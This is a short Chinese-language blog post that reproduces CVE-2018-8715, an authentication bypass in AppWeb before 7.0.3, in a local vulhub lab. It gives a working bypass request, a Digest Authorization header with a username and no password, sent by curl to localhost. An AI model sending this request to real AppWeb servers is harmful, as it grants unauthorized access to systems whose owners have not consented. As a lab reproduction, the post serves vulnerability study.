记录AppWeb认证绕过漏洞(CVE-2018-8715)复现过程~
AppWeb介绍
Appweb是一个嵌入式HTTP Web服务器，主要的设计思路是安全。这是直接集成到客户的应用和设备，便于开发和部署基于Web的应用程序和设备。它迅速（ 每秒处理3500多要求）而紧凑 ，其中包括支持动态网页制作，服务器端嵌入式脚本过程中的CGI ，可加载模块的SSL ，摘要式身份验证，虚拟主机， Apache样式配置，日志记录，单和多线程应用程序。它提供了大量的文档和示例。
AppWeb可以进行认证配置，其认证方式包括以下三种：
- basic 传统HTTP基础认证
- digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
- form 表单认证
漏洞版本范围
其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。
环境搭建
1 | git clone https://github.com/vulhub/vulhub.git |
复现过程
添加请求头
1 | Authorization: Digest username=admin |
或直接
1 | curl http://127.0.0.1:8080/ -H "Authorization: Digest username=admin" |
即可访问成功
漏洞理解
像这种绕过认证的应该是审计代码后发现的后端的认证函数有问题，比较考验代码审计的功底。
本文作者：
yd0ng
本文链接： https://yd0ng.github.io/2020/01/29/CVE-2018-8715%E5%A4%8D%E7%8E%B0/
版权声明： 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处！
本文链接： https://yd0ng.github.io/2020/01/29/CVE-2018-8715%E5%A4%8D%E7%8E%B0/
版权声明： 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处！
